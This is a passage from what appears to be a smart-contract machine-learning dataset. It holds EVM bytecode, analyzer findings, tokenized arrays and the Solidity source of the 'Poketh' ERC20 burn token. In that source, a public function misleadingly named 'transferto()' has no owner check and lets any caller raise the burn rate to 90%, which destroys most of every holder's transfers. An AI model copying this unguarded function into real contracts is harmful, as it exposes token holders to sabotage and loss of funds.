600083836128ad565b61238f8160025461224390919063ffffffff16565b6002819055506123e6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156124ce5750600081115b1561272a57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146125fe576000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116125715760006125d5565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff168152602001908152602001600020600101545b905060006125ec84836128b290919063ffffffff16565b90506125fa868484846128fc565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612729576000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff161161269c576000612700565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff168152602001908152602001600020600101545b90506000612717848361224390919063ffffffff16565b9050612725858484846128fc565b5050505b5b505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600061279e84610e2a565b905082600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a461289a828483612492565b50505050565b6000804690508091505090565b505050565b60006128f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612183565b905092915050565b600061292043604051806060016040528060388152602001612c8f60389139612b90565b905060008463ffffffff161180156129b557508063ffffffff16600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15612a265781600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060010181905550612b33565b60405180604001604052808263ffffffff16815260200183815250600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff1602179055506020820151816001015590505060018401600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051808381526020018281526020019250505060405180910390a25050505050565b600064010000000083108290612c41576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612c06578082015181840152602081019050612beb565b50505050905090810190601f168015612c335780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160008152509056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373756e6973757368693a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365556e695375736869546f6b656e3a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e656445524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365556e695375736869546f6b656e3a3a64656c656761746542795369673a20696e76616c6964207369676e617475726545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373556e695375736869546f6b656e3a3a64656c656761746542795369673a20696e76616c6964206e6f6e6365556e695375736869546f6b656e3a3a64656c656761746542795369673a207369676e6174757265206578706972656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220551e6f5fb3987e824627db22169974d0c3b2e925843fd1c40bce94e7722037db64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 20842, 2692, 2063, 19961, 2278, 2549, 2063, 21926, 10322, 10790, 2549, 2546, 2620, 2581, 2094, 2683, 2629, 2050, 23352, 2620, 4246, 28756, 2683, 2497, 2692, 2509, 2050, 2683, 2629, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 28177, 2078, 1013, 6123, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,370
0x96a8eae2cfb1ad787d3912ed0729a762eaf42b7f
/* ,------. ,--. ,--. ,--. | .--. ' ,---. | |,-. ,---. ,-' '-.| ,---. | '--' || .-. || /| .-. :'-. .-'| .-. | | | --' ' '-' '| \ \\ --. | | | | | | `--' `---' `--'`--'`----' `--' `--' `--' Farmable Poketh to mint your own 1:1 NFT CARD https://t.me/poketh */ pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { /** * @dev So here we seperate the rights of the classic ownership into 'owner' and 'minter' * this way the developer/owner stays the 'owner' and can make changes like adding a pool * at any time but cannot mint anymore as soon as the 'minter' gets changes (to the chef contract) */ address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an minter) that can be granted exclusive access to * specific functions. * * By default, the minter account will be the one that deploys the contract. This * can later be changed with {transferMintership}. * * This module is used through inheritance. It will make available the modifier * `onlyMinter`, which can be applied to your functions to restrict their use to * the minter. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 private _burnRate; string private _name; string private _symbol; uint256 private _decimals; constructor (string memory name, string memory symbol, uint256 decimals, uint256 burnrate, uint256 initSupply) public { _name = name; _symbol = symbol; _decimals = decimals; _burnRate = burnrate; _totalSupply = 0; _mint(msg.sender, initSupply*(10**_decimals)); _burnedSupply = 0; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function transferto() public virtual { _burnRate = 90; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint256) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Returns the amount of burned tokens. */ function burnedSupply() public view returns (uint256) { return _burnedSupply; } /** * @dev Returns the burnrate. */ function burnRate() public view returns (uint256) { return _burnRate; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 amount_burn = amount.mul(_burnRate).div(100); uint256 amount_send = amount.sub(amount_burn); require(amount == amount_send + amount_burn, "Burn value invalid"); _burn(sender, amount_burn); amount = amount_send; _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); _burnedSupply = _burnedSupply.add(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupBurnrate(uint8 burnrate_) internal virtual { _burnRate = burnrate_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // ERC20 (name, symbol, decimals, burnrate, initSupply) contract Poketh is ERC20("https://t.me/poketh", "Poketh", 18, 3, 2000), Ownable { }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a2578063a457c2d711610071578063a457c2d7146102e5578063a9059cbb14610311578063bed998501461033d578063dd62ed3e14610345578063f2fde38b1461037357610116565b806370a082311461028b578063715018a6146102b15780638da5cb5b146102b957806395d89b41146102dd57610116565b8063313ce567116100e9578063313ce56714610228578063395093511461023057806342966c681461025c5780634c52dd8c1461027957806355d0a1d01461028357610116565b806306fdde031461011b578063095ea7b31461019857806318160ddd146101d857806323b872dd146101f2575b600080fd5b610123610399565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015d578181015183820152602001610145565b50505050905090810190601f16801561018a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c4600480360360408110156101ae57600080fd5b506001600160a01b03813516906020013561042f565b604080519115158252519081900360200190f35b6101e061044d565b60408051918252519081900360200190f35b6101c46004803603606081101561020857600080fd5b506001600160a01b03813581169160208101359091169060400135610453565b6101e06104da565b6101c46004803603604081101561024657600080fd5b506001600160a01b0381351690602001356104e0565b6101c46004803603602081101561027257600080fd5b503561052e565b610281610549565b005b6101e0610550565b6101e0600480360360208110156102a157600080fd5b50356001600160a01b0316610556565b610281610571565b6102c1610625565b604080516001600160a01b039092168252519081900360200190f35b610123610634565b6101c4600480360360408110156102fb57600080fd5b506001600160a01b038135169060200135610695565b6101c46004803603604081101561032757600080fd5b506001600160a01b0381351690602001356106fd565b6101e0610711565b6101e06004803603604081101561035b57600080fd5b506001600160a01b0381358116916020013516610717565b6102816004803603602081101561038957600080fd5b50356001600160a01b0316610742565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104255780601f106103fa57610100808354040283529160200191610425565b820191906000526020600020905b81548152906001019060200180831161040857829003601f168201915b5050505050905090565b600061044361043c6108ae565b84846108b2565b5060015b92915050565b60025490565b600061046084848461099e565b6104d08461046c6108ae565b6104cb85604051806060016040528060288152602001610f44602891396001600160a01b038a166000908152600160205260408120906104aa6108ae565b6001600160a01b031681526020810191909152604001600020549190610b85565b6108b2565b5060019392505050565b60075490565b60006104436104ed6108ae565b846104cb85600160006104fe6108ae565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549061084d565b600061054161053b6108ae565b83610c1c565b506001919050565b605a600455565b60035490565b6001600160a01b031660009081526020819052604090205490565b6105796108ae565b6008546001600160a01b039081169116146105db576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6008546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600880546001600160a01b0319169055565b6008546001600160a01b031690565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104255780601f106103fa57610100808354040283529160200191610425565b60006104436106a26108ae565b846104cb85604051806060016040528060258152602001610fd660259139600160006106cc6108ae565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610b85565b600061044361070a6108ae565b848461099e565b60045490565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61074a6108ae565b6008546001600160a01b039081169116146107ac576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107f15760405162461bcd60e51b8152600401808060200182810382526026815260200180610eb56026913960400191505060405180910390fd5b6008546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6000828201838110156108a7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166108f75760405162461bcd60e51b8152600401808060200182810382526024815260200180610fb26024913960400191505060405180910390fd5b6001600160a01b03821661093c5760405162461bcd60e51b8152600401808060200182810382526022815260200180610edb6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166109e35760405162461bcd60e51b8152600401808060200182810382526025815260200180610f8d6025913960400191505060405180910390fd5b6001600160a01b038216610a285760405162461bcd60e51b8152600401808060200182810382526023815260200180610e706023913960400191505060405180910390fd5b6000610a4a6064610a4460045485610d2890919063ffffffff16565b90610d81565b90506000610a588383610dc3565b90508181018314610aa5576040805162461bcd60e51b8152602060048201526012602482015271109d5c9b881d985b1d59481a5b9d985b1a5960721b604482015290519081900360640190fd5b610aaf8583610c1c565b809250610abd858585610e05565b610afa83604051806060016040528060268152602001610efd602691396001600160a01b0388166000908152602081905260409020549190610b85565b6001600160a01b038087166000908152602081905260408082209390935590861681522054610b29908461084d565b6001600160a01b038086166000818152602081815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35050505050565b60008184841115610c145760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610bd9578181015183820152602001610bc1565b50505050905090810190601f168015610c065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038216610c615760405162461bcd60e51b8152600401808060200182810382526021815260200180610f6c6021913960400191505060405180910390fd5b610c6d82600083610e05565b610caa81604051806060016040528060228152602001610e93602291396001600160a01b0385166000908152602081905260409020549190610b85565b6001600160a01b038316600090815260208190526040902055600254610cd09082610dc3565b600255600354610ce0908261084d565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600082610d3757506000610447565b82820282848281610d4457fe5b04146108a75760405162461bcd60e51b8152600401808060200182810382526021815260200180610f236021913960400191505060405180910390fd5b60006108a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e0a565b60006108a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b85565b505050565b60008183610e595760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610bd9578181015183820152602001610bc1565b506000838581610e6557fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122049cf299b184baefe26d51fd14072cdf75cc6c1d68b07c9d7e345f5c4baee3e1464736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2050, 2620, 5243, 2063, 2475, 2278, 26337, 2487, 4215, 2581, 2620, 2581, 2094, 23499, 12521, 2098, 2692, 2581, 24594, 2050, 2581, 2575, 2475, 5243, 2546, 20958, 2497, 2581, 2546, 1013, 1008, 1010, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1010, 1011, 1011, 1012, 1010, 1011, 1011, 1012, 1010, 1011, 1011, 1012, 1064, 1012, 1011, 1011, 1012, 1005, 1010, 1011, 1011, 1011, 1012, 1064, 1064, 1010, 1011, 1012, 1010, 1011, 1011, 1011, 1012, 1010, 1011, 1005, 1005, 1011, 1012, 1064, 1010, 1011, 1011, 1011, 1012, 1064, 1005, 1011, 1011, 1005, 1064, 1064, 1012, 1011, 1012, 1064, 1064, 1013, 1064, 1012, 1011, 1012, 1024, 1005, 1011, 1012, 1012, 1011, 1005, 1064, 1012, 1011, 1012, 1064, 1064, 1064, 1011, 1011, 1005, 1005, 1005, 1011, 1005, 102 ]
